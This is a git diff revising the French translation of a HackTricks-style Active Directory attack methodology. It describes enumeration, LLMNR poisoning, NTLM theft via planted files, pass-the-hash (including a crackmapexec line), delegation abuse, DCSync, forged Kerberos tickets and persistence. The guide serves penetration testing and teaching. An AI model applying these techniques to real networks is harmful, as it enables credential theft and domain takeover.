mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
Translator
parent
63277d61e3
commit
82d6e39bce
@ -241,6 +241,7 @@
|
||||
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
|
||||
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||
- [BadSuccessor](windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md)
|
||||
- [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||
- [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||
- [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Aperçu de base
|
||||
|
||||
**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour évoluer, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à divers niveaux.
|
||||
**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et de gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour évoluer, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à divers niveaux.
|
||||
|
||||
La structure de **Active Directory** se compose de trois couches principales : **domaines**, **arbres** et **forêts**. Un **domaine** englobe une collection d'objets, tels que des **utilisateurs** ou des **dispositifs**, partageant une base de données commune. Les **arbres** sont des groupes de ces domaines liés par une structure partagée, et une **forêt** représente la collection de plusieurs arbres, interconnectés par des **relations de confiance**, formant la couche supérieure de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être désignés à chacun de ces niveaux.
|
||||
La structure de **Active Directory** est composée de trois couches principales : **domaines**, **arbres** et **forêts**. Un **domaine** englobe un ensemble d'objets, tels que des **utilisateurs** ou des **dispositifs**, partageant une base de données commune. Les **arbres** sont des groupes de ces domaines liés par une structure partagée, et une **forêt** représente la collection de plusieurs arbres, interconnectés par des **relations de confiance**, formant la couche supérieure de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être désignés à chacun de ces niveaux.
|
||||
|
||||
Les concepts clés au sein de **Active Directory** incluent :
|
||||
|
||||
1. **Répertoire** – Contient toutes les informations relatives aux objets Active Directory.
|
||||
2. **Objet** – Désigne des entités au sein du répertoire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
|
||||
3. **Domaine** – Sert de conteneur pour les objets du répertoire, avec la capacité de plusieurs domaines à coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
|
||||
1. **Annuaire** – Contient toutes les informations relatives aux objets Active Directory.
|
||||
2. **Objet** – Désigne des entités au sein de l'annuaire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
|
||||
3. **Domaine** – Sert de conteneur pour les objets d'annuaire, avec la capacité de plusieurs domaines à coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
|
||||
4. **Arbre** – Un regroupement de domaines partageant un domaine racine commun.
|
||||
5. **Forêt** – Le sommet de la structure organisationnelle dans Active Directory, composée de plusieurs arbres avec des **relations de confiance** entre eux.
|
||||
|
||||
@ -20,8 +20,8 @@ Les concepts clés au sein de **Active Directory** incluent :
|
||||
|
||||
1. **Services de domaine** – Centralise le stockage des données et gère les interactions entre **utilisateurs** et **domaines**, y compris les fonctionnalités d'**authentification** et de **recherche**.
|
||||
2. **Services de certificats** – Supervise la création, la distribution et la gestion de **certificats numériques** sécurisés.
|
||||
3. **Services de répertoire léger** – Prend en charge les applications activées par le répertoire via le **protocole LDAP**.
|
||||
4. **Services de fédération de répertoire** – Fournit des capacités de **connexion unique** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
|
||||
3. **Services d'annuaire léger** – Prend en charge les applications activées par l'annuaire via le **protocole LDAP**.
|
||||
4. **Services de fédération d'annuaire** – Fournit des capacités de **connexion unique** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
|
||||
5. **Gestion des droits** – Aide à protéger le matériel protégé par des droits d'auteur en régulant sa distribution et son utilisation non autorisées.
|
||||
6. **Service DNS** – Crucial pour la résolution des **noms de domaine**.
|
||||
|
||||
@ -60,7 +60,7 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
|
||||
|
||||
- **Énumérer Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Un guide plus détaillé sur la façon d'énumérer LDAP peut être trouvé ici (faites **particulièrement attention à l'accès anonyme**) :
|
||||
- Un guide plus détaillé sur la façon d'énumérer LDAP peut être trouvé ici (prêtez **une attention particulière à l'accès anonyme**) :
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -68,11 +68,11 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
|
||||
|
||||
- **Poisonner le réseau**
|
||||
- Rassembler des crédentiels [**en usurpant des services avec Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Accéder à l'hôte en [**abusant de l'attaque par relais**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Accéder à l'hôte en [**abusant de l'attaque de relais**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Rassembler des crédentiels **en exposant** [**de faux services UPnP avec evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html) :
|
||||
- Extraire des noms d'utilisateur/noms à partir de documents internes, de réseaux sociaux, de services (principalement web) à l'intérieur des environnements de domaine et également à partir de sources disponibles publiquement.
|
||||
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrenom_, _Nom.Prenom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrenom_, _N.Prenom_, _PrenomNom_, _Prenom.Nom_, _PrenomN_, _Prenom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
|
||||
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrenom_, _Nom.Prenom_, _NomPr_ (3 lettres de chaque), _Nom.P_, _NPrenom_, _N.Prenom_, _PrenomNom_, _Prenom.Nom_, _PrenomN_, _Prenom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
|
||||
- Outils :
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -126,7 +126,7 @@ password-spraying.md
|
||||
|
||||
### Poisoning LLMNR/NBT-NS
|
||||
|
||||
Vous pourriez être en mesure d'**obtenir** des **hashes** de challenge pour cracker en **empoisonnant** certains protocoles du **réseau** :
|
||||
Vous pourriez être en mesure de **obtenir** des **hashes** de challenge pour cracker en **empoisonnant** certains protocoles du **réseau** :
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -138,7 +138,7 @@ Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails
|
||||
|
||||
### Voler des identifiants NTLM
|
||||
|
||||
Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null ou invité**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
|
||||
Si vous pouvez **accéder à d'autres PC ou partages** avec l'utilisateur **null ou invité**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, **déclencheront une authentification NTLM contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -166,7 +166,7 @@ Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaqu
|
||||
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez vraiment l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
|
||||
- **D'autres outils d'énumération AD automatisés sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**Enregistrements DNS de l'AD**](ad-dns-records.md) car ils pourraient contenir des informations intéressantes.
|
||||
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la **SysInternal** Suite.
|
||||
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la suite **SysInternal**.
|
||||
- Vous pouvez également rechercher dans la base de données LDAP avec **ldapsearch** pour chercher des identifiants dans les champs _userPassword_ & _unixUserPassword_, ou même pour _Description_. cf. [Mot de passe dans le commentaire utilisateur AD sur PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
|
||||
- Si vous utilisez **Linux**, vous pourriez également énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Vous pourriez également essayer des outils automatisés comme :
|
||||
@ -194,7 +194,7 @@ Une fois que vous avez obtenu des identifiants, vous pourriez vérifier si vous
|
||||
|
||||
### Escalade de privilèges locale
|
||||
|
||||
Si vous avez compromis des identifiants ou une session en tant qu'utilisateur de domaine régulier et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine dans le domaine**, vous devriez essayer de trouver votre chemin pour **escalader les privilèges localement et chercher des identifiants**. C'est parce qu'avec des privilèges d'administrateur local, vous serez en mesure de **dump les hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
|
||||
Si vous avez compromis des identifiants ou une session en tant qu'utilisateur de domaine régulier et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine dans le domaine**, vous devriez essayer de trouver un moyen d'**escalader les privilèges localement et de chercher des identifiants**. C'est parce qu'avec des privilèges d'administrateur local, vous serez en mesure de **dumper les hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
|
||||
|
||||
Il y a une page complète dans ce livre sur [**l'escalade de privilèges locale dans Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -220,7 +220,7 @@ Maintenant que vous avez quelques identifiants de base, vous devriez vérifier s
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le craquer :
|
||||
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, afin que vous puissiez **voler** le **challenge NTLM** pour le craquer :
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -247,7 +247,7 @@ Ensuite, il est temps de vider tous les hachages en mémoire et localement.\
|
||||
### Pass the Hash
|
||||
|
||||
**Une fois que vous avez le hachage d'un utilisateur**, vous pouvez l'utiliser pour **l'imiter**.\
|
||||
Vous devez utiliser un **outil** qui **effectuera** l'**authentification NTLM en utilisant** ce **hachage**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hachage** dans le **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hachage sera utilisé.** La dernière option est ce que fait mimikatz.\
|
||||
Vous devez utiliser un **outil** qui va **effectuer** l'**authentification NTLM en utilisant** ce **hachage**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hachage** à l'intérieur de **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hachage sera utilisé.** La dernière option est ce que fait mimikatz.\
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -281,7 +281,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
|
||||
Si un utilisateur a des privilèges pour **accéder aux instances MSSQL**, il pourrait être en mesure de l'utiliser pour **exécuter des commandes** sur l'hôte MSSQL (s'il fonctionne en tant que SA), **voler** le **hash** NetNTLM ou même effectuer une **attaque** de **relais**.\
|
||||
De plus, si une instance MSSQL est de confiance (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données de confiance, il pourra **utiliser la relation de confiance pour exécuter des requêtes également sur l'autre instance**. Ces relations de confiance peuvent être enchaînées et à un moment donné, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.\
|
||||
**Les liens entre les bases de données fonctionnent même à travers les relations de confiance de forêt.**
|
||||
**Les liens entre les bases de données fonctionnent même à travers les forêts de confiance.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -290,7 +290,7 @@ abusing-ad-mssql.md
|
||||
### Délégation Non Contraignante
|
||||
|
||||
Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous pourrez extraire les TGT de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
|
||||
Donc, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous l'approprier en utilisant [Pass the Ticket](pass-the-ticket.md).\
|
||||
Ainsi, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous faire passer pour lui en utilisant [Pass the Ticket](pass-the-ticket.md).\
|
||||
Grâce à la délégation contrainte, vous pourriez même **compromettre automatiquement un serveur d'impression** (espérons qu'il s'agisse d'un DC).
|
||||
|
||||
{{#ref}}
|
||||
@ -299,8 +299,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Délégation Contraignante
|
||||
|
||||
Si un utilisateur ou un ordinateur est autorisé à la "Délégation Contraignante", il pourra **s'approprier n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
|
||||
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **s'approprier n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
|
||||
Si un utilisateur ou un ordinateur est autorisé à "Délégation Contraignante", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
|
||||
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **vous faire passer pour n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -314,7 +314,7 @@ Avoir le privilège **WRITE** sur un objet Active Directory d'un ordinateur dist
|
||||
resource-based-constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Abus des ACLs
|
||||
### Abus de Permissions/ACLs
|
||||
|
||||
L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **déplacer** latéralement/**escalader** des privilèges.
|
||||
|
||||
@ -324,15 +324,15 @@ acl-persistence-abuse/
|
||||
|
||||
### Abus du service Spooler d'imprimante
|
||||
|
||||
Découvrir un **service Spool à l'écoute** dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
|
||||
Découvrir un **service Spool** à l'écoute dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Abus des sessions tierces
|
||||
### Abus de sessions tierces
|
||||
|
||||
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants depuis la mémoire** et même **d'injecter des balises dans leurs processus** pour les usurper.\
|
||||
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants depuis la mémoire** et même **d'injecter des balises dans leurs processus** pour se faire passer pour eux.\
|
||||
En général, les utilisateurs accéderont au système via RDP, donc voici comment effectuer quelques attaques sur des sessions RDP tierces :
|
||||
|
||||
{{#ref}}
|
||||
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** fournit un système pour gérer le **mot de passe de l'administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, le passage à d'autres ordinateurs devient possible.
|
||||
**LAPS** fournit un système pour gérer le **mot de passe Administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACL pour les utilisateurs autorisés uniquement. Avec des permissions suffisantes pour accéder à ces mots de passe, le passage à d'autres ordinateurs devient possible.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -355,7 +355,7 @@ laps.md
|
||||
ad-certificates/certificate-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### Abus des Modèles de Certificats
|
||||
### Abus de Modèles de Certificats
|
||||
|
||||
Si des **modèles vulnérables** sont configurés, il est possible de les abuser pour escalader des privilèges :
|
||||
|
||||
@ -367,7 +367,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping des Identifiants de Domaine
|
||||
|
||||
Une fois que vous obtenez des privilèges **d'Administrateur de Domaine** ou même mieux **d'Administrateur d'Entreprise**, vous pouvez **extraire** la **base de données de domaine** : _ntds.dit_.
|
||||
Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
|
||||
|
||||
[**Plus d'informations sur l'attaque DCSync peuvent être trouvées ici**](dcsync.md).
|
||||
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
L'**attaque Silver Ticket** crée un **ticket de service de ticket d'octroi (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
|
||||
L'**attaque Silver Ticket** crée un **ticket de service de ticket de concession (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -406,7 +406,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets d'Octroi de Ticket (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
|
||||
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Concession de Ticket (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
|
||||
|
||||
Une fois que l'attaquant obtient ce hash, il peut créer des **TGT** pour n'importe quel compte de son choix (attaque Silver ticket).
|
||||
|
||||
@ -416,13 +416,13 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Ce sont comme des tickets dorés forgés d'une manière qui **contourne les mécanismes de détection des tickets dorés courants.**
|
||||
Ce sont comme des tickets dorés forgés d'une manière qui **contourne les mécanismes de détection des tickets dorés communs.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistance des Comptes de Certificats**
|
||||
### **Persistance de Compte de Certificats**
|
||||
|
||||
**Avoir des certificats d'un compte ou être capable de les demander** est un très bon moyen de pouvoir persister dans le compte des utilisateurs (même s'il change le mot de passe) :
|
||||
|
||||
@ -430,7 +430,7 @@ diamond-ticket.md
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistance des Certificats de Domaine**
|
||||
### **Persistance de Domaine de Certificats**
|
||||
|
||||
**Utiliser des certificats est également possible pour persister avec des privilèges élevés à l'intérieur du domaine :**
|
||||
|
||||
@ -446,13 +446,13 @@ L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **group
|
||||
|
||||
### Identifiants DSRM
|
||||
|
||||
À l'intérieur de chaque **Contrôleur de Domaine (DC)**, un compte **administrateur local** existe. En obtenant des droits d'administrateur sur une telle machine, le hash de l'administrateur local peut être extrait en utilisant **mimikatz**. Par la suite, une modification du registre est nécessaire pour **activer l'utilisation de ce mot de passe**, permettant un accès à distance au compte Administrateur local.
|
||||
À l'intérieur de chaque **Contrôleur de Domaine (DC)**, un compte **administrateur local** existe. En obtenant des droits d'administrateur sur une telle machine, le hash de l'Administrateur local peut être extrait en utilisant **mimikatz**. Par la suite, une modification du registre est nécessaire pour **activer l'utilisation de ce mot de passe**, permettant l'accès à distance au compte Administrateur local.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistance des ACL
|
||||
### Persistance ACL
|
||||
|
||||
Vous pourriez **donner** des **permissions spéciales** à un **utilisateur** sur certains objets de domaine spécifiques qui permettront à l'utilisateur **d'escalader des privilèges à l'avenir**.
|
||||
|
||||
@ -488,7 +488,7 @@ custom-ssp.md
|
||||
### DCShadow
|
||||
|
||||
Il enregistre un **nouveau Contrôleur de Domaine** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous **avez besoin de privilèges DA** et d'être à l'intérieur du **domaine racine**.\
|
||||
Notez que si vous utilisez de mauvaises données, des logs assez laids apparaîtront.
|
||||
Notez que si vous utilisez des données incorrectes, des logs assez laids apparaîtront.
|
||||
|
||||
{{#ref}}
|
||||
dcshadow.md
|
||||
@ -511,19 +511,19 @@ Microsoft considère la **Forêt** comme la frontière de sécurité. Cela impli
|
||||
|
||||
Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DC)**, qui sont cruciales pour l'intégrité de la confiance.
|
||||
|
||||
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est crypté avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
|
||||
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
|
||||
|
||||
**Étapes** :
|
||||
|
||||
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket Granting Ticket (TGT)** à son **Contrôleur de Domaine (DC1)**.
|
||||
2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
|
||||
3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
|
||||
4. Le TGT inter-realm est crypté avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
|
||||
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine (DC2)** du Domaine 2.
|
||||
4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
|
||||
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine 2 (DC2)**.
|
||||
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 auquel le client souhaite accéder.
|
||||
7. Enfin, le client présente ce TGS au serveur, qui est crypté avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
|
||||
7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
|
||||
|
||||
### Différentes Confiances
|
||||
### Différentes confiances
|
||||
|
||||
Il est important de noter qu'une **confiance peut être unidirectionnelle ou bidirectionnelle**. Dans l'option bidirectionnelle, les deux domaines se feront confiance mutuellement, mais dans la relation de confiance **unidirectionnelle**, l'un des domaines sera le **domaine de confiance** et l'autre le **domaine de confiance**. Dans ce dernier cas, **vous ne pourrez accéder aux ressources à l'intérieur du domaine de confiance que depuis le domaine de confiance**.
|
||||
|
||||
@ -532,11 +532,11 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
|
||||
**Différentes relations de confiance**
|
||||
|
||||
- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance bidirectionnelle transitive avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
|
||||
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement remonter jusqu'à la racine de la forêt, puis descendre vers le domaine cible. En créant des liens croisés, le trajet est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
|
||||
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont de nature non transitive. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
|
||||
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement remonter jusqu'à la racine de la forêt, puis redescendre vers le domaine cible. En créant des liens croisés, le trajet est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
|
||||
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont de nature non transitive. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec les confiances externes.
|
||||
- **Confiances de Racine d'Arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
